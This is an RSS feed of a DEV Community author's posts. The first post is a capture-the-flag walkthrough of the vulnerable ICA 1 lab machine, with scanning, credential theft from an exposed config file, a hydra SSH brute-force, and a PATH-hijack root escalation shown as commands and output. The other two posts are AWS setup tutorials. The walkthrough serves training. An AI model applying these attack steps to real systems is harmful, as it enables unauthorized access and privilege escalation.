<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: D3fender0</title>
    <description>The latest articles on DEV Community by D3fender0 (@vasanthbal5220).</description>
    <link>https://dev.to/vasanthbal5220</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2751282%2Fc7bf2f4d-8fe9-4d6a-a9d4-7489968a269d.jpg</url>
      <title>DEV Community: D3fender0</title>
      <link>https://dev.to/vasanthbal5220</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vasanthbal5220"/>
    <language>en</language>
    <item>
      <title>vulhub ICA 1 machine walkthrough</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Wed, 16 Apr 2025 17:55:55 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/vulhub-ica-1-machine-walkthrough-10o0</link>
      <guid>https://dev.to/vasanthbal5220/vulhub-ica-1-machine-walkthrough-10o0</guid>
      <description>&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;According to information from our intelligence network, ICA is working on a secret project. We need to find out what the project is. Once you have the access information, send them to us. We will place a backdoor to access the system later. You just focus on what the project is. You will probably have to go through several layers of security. The Agency has full confidence that you will successfully complete this mission. Good Luck, Agent!&lt;/p&gt;

&lt;p&gt;Difficulty: Easy&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab setup&lt;/strong&gt;&lt;br&gt;
First, download the vulnerable machine in ZIP format and extract that.&lt;/p&gt;

&lt;p&gt;import the machine&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo0ohl3ertg4exalmchcu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo0ohl3ertg4exalmchcu.png" alt="Image description" width="800" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Make sure both the attacker machine and the vulnerable machine are configured to use the same NAT network to allow proper communication between them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nmap scan&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;nmap -sC -sV 10.0.2.4&lt;br&gt;
PORT     STATE SERVICE VERSION&lt;br&gt;
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)&lt;br&gt;
| ssh-hostkey: &lt;br&gt;
|   3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)&lt;br&gt;
|   256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)&lt;br&gt;
|_  256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519)&lt;br&gt;
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))&lt;br&gt;
|_http-title: qdPM | Login&lt;br&gt;
|_http-server-header: Apache/2.4.48 (Debian)&lt;br&gt;
3306/tcp open  mysql   MySQL 8.0.26&lt;br&gt;
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate&lt;br&gt;
| Not valid before: 2021-09-25T10:47:29&lt;br&gt;
|_Not valid after:  2031-09-23T10:47:29&lt;br&gt;
|_ssl-date: TLS randomness does not represent time&lt;br&gt;
| mysql-info: &lt;br&gt;
|   Protocol: 10&lt;br&gt;
|   Version: 8.0.26&lt;br&gt;
|   Thread ID: 14&lt;br&gt;
|   Capabilities flags: 65535&lt;br&gt;
|   Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolNew, Speaks41ProtocolOld, FoundRows, IgnoreSpaceBeforeParenthesis, IgnoreSigpipes, LongPassword, InteractiveClient, SupportsCompression, ODBCClient, SwitchToSSLAfterHandshake, DontAllowDatabaseTableColumn, ConnectWithDatabase, SupportsTransactions, SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments&lt;br&gt;
|   Status: Autocommit&lt;br&gt;
|   Salt: n&amp;amp;"B\x06N\x02.*\x14\x01!cB\x08\x12F&amp;gt;\x1D/&lt;br&gt;
|_  Auth Plugin Name: caching_sha2_password&lt;br&gt;
MAC Address: 08:00:27:CB:E5:55 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)&lt;br&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Upon scanning the vulnerable machine, you’ll notice that the SSH, HTTP, and MySQL ports are open, indicating potential entry points for exploitation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Directory Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For directory enumeration, I recommend using the Dirsearch tool. Its simple and easy-to-remember syntax makes it a great choice for beginners and experienced users alike&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dirsearch -u 10.0.2.4&lt;br&gt;
[10:02:54] 301 -  306B  - /backups  -&amp;gt;  http://10.0.2.4/backups/            &lt;br&gt;
[10:02:54] 200 -  401B  - /backups/                                         &lt;br&gt;
[10:02:57] 200 -    0B  - /check.php                                        &lt;br&gt;
[10:02:59] 301 -  303B  - /core  -&amp;gt;  http://10.0.2.4/core/                  &lt;br&gt;
[10:02:59] 301 -  302B  - /css  -&amp;gt;  http://10.0.2.4/css/                    &lt;br&gt;
[10:03:03] 200 -  894B  - /favicon.ico                                      &lt;br&gt;
[10:03:07] 301 -  305B  - /images  -&amp;gt;  http://10.0.2.4/images/              &lt;br&gt;
[10:03:07] 200 -  635B  - /images/                                          &lt;br&gt;
[10:03:07] 200 -    2KB - /index.php                                        &lt;br&gt;
[10:03:07] 404 -    4KB - /index.php/login/                                 &lt;br&gt;
[10:03:07] 301 -  306B  - /install  -&amp;gt;  http://10.0.2.4/install/            &lt;br&gt;
[10:03:08] 200 -  764B  - /install/                                         &lt;br&gt;
[10:03:08] 200 -  764B  - /install/index.php?upgrade/                       &lt;br&gt;
[10:03:08] 301 -  309B  - /javascript  -&amp;gt;  http://10.0.2.4/javascript/      &lt;br&gt;
[10:03:08] 200 -  573B  - /js/                                              &lt;br&gt;
[10:03:12] 301 -  305B  - /manual  -&amp;gt;  http://10.0.2.4/manual/              &lt;br&gt;
[10:03:12] 200 -  208B  - /manual/index.html&lt;br&gt;
[10:03:21] 200 -  338B  - /readme.txt                                       &lt;br&gt;
[10:03:22] 200 -   26B  - /robots.txt                                       &lt;br&gt;
[10:03:23] 403 -  273B  - /server-status                                    &lt;br&gt;
[10:03:23] 403 -  273B  - /server-status/                                   &lt;br&gt;
[10:03:27] 301 -  307B  - /template  -&amp;gt;  http://10.0.2.4/template/          &lt;br&gt;
[10:03:28] 200 -  483B  - /template/                                        &lt;br&gt;
[10:03:29] 301 -  306B  - /uploads  -&amp;gt;  http://10.0.2.4/uploads/            &lt;br&gt;
[10:03:29] 200 -  467B  - /uploads/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;we can see the suspicious url&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgvgiobaqpljkkf7ohbge.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgvgiobaqpljkkf7ohbge.png" alt="Image description" width="800" height="302"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;qdPM is a web-based project management tool, and in this case, we're working with version 9.2, which is known to be vulnerable.&lt;br&gt;
&lt;a href="https://dev.tourl"&gt;(https://www.exploit-db.com/exploits/50176)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We discovered the database configuration details by accessing the following URL.&lt;br&gt;
 &lt;a href="http://website/core/config/databases.yml" rel="noopener noreferrer"&gt;http://website/core/config/databases.yml&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's connect that .&lt;br&gt;
`mysql -u qdpmadmin -p -h 10.0.2.4 --ssl=0&lt;/p&gt;

&lt;p&gt;Enter password: &lt;br&gt;
Welcome to the MariaDB monitor.  Commands end with ; or \g.&lt;br&gt;
Your MySQL connection id is 11&lt;br&gt;
Server version: 8.0.26 MySQL Community Server - GPL`&lt;/p&gt;

&lt;p&gt;Next, let's explore the databases.&lt;br&gt;
&lt;code&gt;MySQL [(none)]&amp;gt; show databases;&lt;br&gt;
+--------------------+&lt;br&gt;
| Database           |&lt;br&gt;
+--------------------+&lt;br&gt;
| information_schema |&lt;br&gt;
| mysql              |&lt;br&gt;
| performance_schema |&lt;br&gt;
| qdpm               |&lt;br&gt;
| staff              |&lt;br&gt;
| sys                |&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
Select the 'staff' database and explore the tables it contains. Once identified, retrieve one of the tables for further analysis.&lt;br&gt;
&lt;code&gt;&lt;br&gt;
MySQL [staff]&amp;gt; select * from user;&lt;br&gt;
+------+---------------+--------+---------------------------+&lt;br&gt;
| id   | department_id | name   | role                      |&lt;br&gt;
+------+---------------+--------+---------------------------+&lt;br&gt;
|    1 |             1 | Smith  | Cyber Security Specialist |&lt;br&gt;
|    2 |             2 | Lucas  | Computer Engineer         |&lt;br&gt;
|    3 |             1 | Travis | Intelligence Specialist   |&lt;br&gt;
|    4 |             1 | Dexter | Cyber Security Analyst    |&lt;br&gt;
|    5 |             2 | Meyer  | Genetic Engineer          |&lt;br&gt;
+------+---------------+--------+---------------------------+&lt;br&gt;
5 rows in set (0.003 sec)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The 'user' table contains a list of usernames. Let's check out the 'login' table, where we can find a list of Base64-encoded passwords. After decoding them, save the results to a password file. Since we know the SSH service is running, we can now use the discovered usernames and passwords to attempt a brute-force attack.&lt;/p&gt;

&lt;p&gt;`hydra -L user.txt -P password.txt ssh://10.0.2.4   &lt;/p&gt;

&lt;p&gt;Hydra v9.5 (c) 2023 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).&lt;/p&gt;

&lt;p&gt;Hydra (&lt;a href="https://github.com/vanhauser-thc/thc-hydra" rel="noopener noreferrer"&gt;https://github.com/vanhauser-thc/thc-hydra&lt;/a&gt;) starting at 2025-04-16 01:32:46&lt;br&gt;
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4&lt;br&gt;
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:6/p:5), ~2 tries per task&lt;br&gt;
[DATA] attacking ssh://10.0.2.4:22/&lt;br&gt;
[22][ssh] host: 10.0.2.4   login: travis   password: DJceVy98W28Y7wLg&lt;br&gt;
[22][ssh] host: 10.0.2.4   login: dexter   password: 7ZwV4qtg42cmUXGX&lt;br&gt;
^X1 of 1 target successfully completed, 2 valid passwords found&lt;br&gt;
Hydra (&lt;a href="https://github.com/vanhauser-thc/thc-hydra" rel="noopener noreferrer"&gt;https://github.com/vanhauser-thc/thc-hydra&lt;/a&gt;) finished at 2025-04-16 01:32:53 `&lt;/p&gt;

&lt;p&gt;We successfully obtained the passwords for the 'travis' and 'dexter' accounts&lt;/p&gt;

&lt;p&gt;connect the dexter ssh account.&lt;br&gt;
Next, let's check which files have the SUID (Set User ID) bit set.&lt;br&gt;
&lt;code&gt;&lt;br&gt;
find / -type f -perm -04000 -ls 2&amp;gt;/dev/null&lt;br&gt;
-rwsr-xr-x 1 root root 16816 Sep 25  2021 /opt/get_access&lt;br&gt;
-rwsr-xr-x 1 root root 58416 Feb  7  2020 /usr/bin/chfn&lt;br&gt;
-rwsr-xr-x 1 root root 35040 Jul 28  2021 /usr/bin/umount&lt;br&gt;
-rwsr-xr-x 1 root root 88304 Feb  7  2020 /usr/bin/gpasswd&lt;br&gt;
-rwsr-xr-x 1 root root 182600 Feb 27  2021 /usr/bin/sudo&lt;br&gt;
-rwsr-xr-x 1 root root 63960 Feb  7  2020 /usr/bin/passwd&lt;br&gt;
-rwsr-xr-x 1 root root 44632 Feb  7  2020 /usr/bin/newgrp&lt;br&gt;
-rwsr-xr-x 1 root root 71912 Jul 28  2021 /usr/bin/su&lt;br&gt;
-rwsr-xr-x 1 root root 55528 Jul 28  2021 /usr/bin/mount&lt;br&gt;
-rwsr-xr-x 1 root root 52880 Feb  7  2020 /usr/bin/chsh&lt;br&gt;
-rwsr-xr-x 1 root root 481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign&lt;br&gt;
-rwsr-xr-- 1 root messagebus 51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
The 'get_access' file is not a regular file, so let's go ahead and execute it to see what happens.&lt;/p&gt;

&lt;p&gt;`&lt;br&gt;
dexter@debian:~$ /opt/get_access&lt;/p&gt;

&lt;p&gt;############################&lt;br&gt;
  ########     ICA     #######&lt;br&gt;
  ### ACCESS TO THE SYSTEM ###&lt;br&gt;
  ############################&lt;/p&gt;

&lt;p&gt;Server Information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Firewall:  AIwall v9.5.2&lt;/li&gt;
&lt;li&gt;OS:        Debian 11 "bullseye"&lt;/li&gt;
&lt;li&gt;Network:   Local Secure Network 2 (LSN2) v 2.4.1
`
All services are disabled. Accessing to the system is allowed only within working hours.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's examine the content of the 'get_access' binary by using the strings command to extract any readable strings.&lt;/p&gt;

&lt;p&gt;you can see the there is suspicious binary included.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cat /root/system.info&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
What does it do? When we run the 'get_access' file, it reads the 'system.info' file with root privileges.&lt;/p&gt;

&lt;p&gt;To understand how the cat command works, it’s important to know that the system searches for the cat binary in directories listed in the $PATH variable. However, if we provide a direct path to the cat binary, the system will execute it from that specific location.&lt;/p&gt;

&lt;p&gt;Now, let’s craft a malicious cat binary in the /tmp directory and add its location to the beginning of the $PATH environment variable. This way, when the system tries to execute cat, it will run our malicious version instead.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;echo -e '#!/bin/bash\n/bin/bash' &amp;gt; /tmp/cat&lt;br&gt;
 chmod +x /tmp/cat&lt;br&gt;
 export PATH=/tmp:$PATH&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
execute the get_access file. we successfully obtained the root access.&lt;br&gt;
&lt;code&gt;&lt;br&gt;
root@debian:/root# ls&lt;br&gt;
root.txt  system.info&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
I hope you found this blog insightful and enjoyable. Thank you for reading, keep exploring and keep learning!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>AWS 101 Workshop</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Thu, 10 Apr 2025 03:05:11 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/aws-101-workshop-156</link>
      <guid>https://dev.to/vasanthbal5220/aws-101-workshop-156</guid>
      <description>&lt;p&gt;1) Setup Networking (VPC)&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Navigate to the AWS Management Console and locate the VPC service.&lt;/li&gt;
&lt;li&gt;Click Create VPC.&lt;/li&gt;
&lt;li&gt;Select VPC and more. This will start the VPC wizard.&lt;/li&gt;
&lt;li&gt;Create a private and public subnet in 2 Availability Zone Each subnet is connected to a route table, which determines how network traffic is routed. The public subnets are routed to an Internet Gateway&lt;/li&gt;
&lt;li&gt;In the NAT gateways section, select 1 per AZ.&lt;/li&gt;
&lt;li&gt;Review the Network&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3i6bdpiaqimdlin8swrq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3i6bdpiaqimdlin8swrq.png" alt="Image description" width="800" height="347"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2) security group&lt;br&gt;
Browse to the Security Groups part of the Amazon EC2 service.&lt;br&gt;
click Create security group to define a new custom security group for our resource&lt;br&gt;
In the Inbound rules section click Add rule&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Load Balancer --&amp;gt; HTTP TCP 80 Anywhere-IPv4 Allow HTTP inbound from Internet&lt;/li&gt;
&lt;li&gt;EC2 --&amp;gt; HTTP TCP 80 Load Balancer Security Group Allow HTTP inbound from Load Balancer
Tags are metadata labels you can apply to AWS resources for organization and cost tracking. Create a new tag for the security group by clicking Add new tag. Enter Name for Key and LoadBalancerSecurityGroup for Value.
Finalize the creation by clicking Create security group.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Load Balancer:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs382brds5l8lfshpmk1g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs382brds5l8lfshpmk1g.png" alt="Image description" width="800" height="311"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Web Server:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gtorfaxs8dh9hckiruq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gtorfaxs8dh9hckiruq.png" alt="Image description" width="800" height="346"&gt;&lt;/a&gt;&lt;br&gt;
(3) IAM&lt;/p&gt;

&lt;p&gt;Browse to the IAM service and click create Role.&lt;br&gt;
Select AWS Service. Choose EC2 for the service or use case.&lt;br&gt;
Select EC2 Role for AWS Systems Manager and click Next&lt;br&gt;
Confirm that the AmazonSSMManagedInstanceCore policy and AmazonS3ReadOnlyAccess Policy has been added to the role and click Next&lt;br&gt;
Name the role. Scroll to the bottom and click Create role&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdpd0inof3hmvbn29hiot.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdpd0inof3hmvbn29hiot.png" alt="Image description" width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj6qkscjmw71q9pavaijp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj6qkscjmw71q9pavaijp.png" alt="Image description" width="800" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(4) Deploy Compute (EC2)&lt;/p&gt;

&lt;p&gt;Browse to the EC2 service.&lt;br&gt;
Click Launch Instance.&lt;br&gt;
Name the server and choose the created VPC, SG, add Role and paste the code then click create.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwam8kytvlddrbueuux83.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwam8kytvlddrbueuux83.png" alt="Image description" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upload the User data file:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo1jvg4yfswzetpx9guc4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo1jvg4yfswzetpx9guc4.png" alt="Image description" width="800" height="295"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(5) Administer Web Server (SSM)&lt;/p&gt;

&lt;p&gt;In the Amazon EC2 dashboard, select the web server instance. You'll notice it only has a private IP address, not a public one&lt;br&gt;
Select the Session Manager tab in ec2 instance and click Connect.&lt;br&gt;
run the following command in the CLI by connecting the instance to the SSM&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fujhdvxqbbnkt6eejmy1p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fujhdvxqbbnkt6eejmy1p.png" alt="Image description" width="746" height="176"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(6) Load Balancing (ALB)&lt;/p&gt;

&lt;p&gt;Create Load Balancer:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbuz8ue36hr772bgvhwdl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbuz8ue36hr772bgvhwdl.png" alt="Image description" width="800" height="336"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65f1tqke8sgeohp796sr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F65f1tqke8sgeohp796sr.png" alt="Image description" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Create Target Group:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fior29z0oao87zkreq5vk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fior29z0oao87zkreq5vk.png" alt="Image description" width="800" height="426"&gt;&lt;/a&gt;&lt;br&gt;
(7) Test Web Server&lt;/p&gt;

&lt;p&gt;Copy the DNS of the Load Balancer and paste it in a new browser tab&lt;/p&gt;

&lt;p&gt;(8) Storage (S3)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo5xji59j6ptbtb4tfxru.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo5xji59j6ptbtb4tfxru.png" alt="Image description" width="800" height="312"&gt;&lt;/a&gt;&lt;br&gt;
Upload the files&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6awm2yqhqpxcpkuiynys.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6awm2yqhqpxcpkuiynys.png" alt="Image description" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mzcylgoue2eaibkk420.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9mzcylgoue2eaibkk420.png" alt="Image description" width="797" height="451"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>AWS 3- tier architecture part-4</title>
      <dc:creator>D3fender0</dc:creator>
      <pubDate>Wed, 09 Apr 2025 17:19:23 +0000</pubDate>
      <link>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-4-14d5</link>
      <guid>https://dev.to/vasanthbal5220/aws-3-tier-architecture-part-4-14d5</guid>
      <description>&lt;p&gt;Lets create the instance without key&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbi4o325mga0chd5nxwd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbi4o325mga0chd5nxwd.png" alt="Image description" width="800" height="299"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;connect the instance and launch the mysql&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhbjh7uqsraucnypxgywi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhbjh7uqsraucnypxgywi.png" alt="Image description" width="800" height="386"&gt;&lt;/a&gt;&lt;/p&gt;

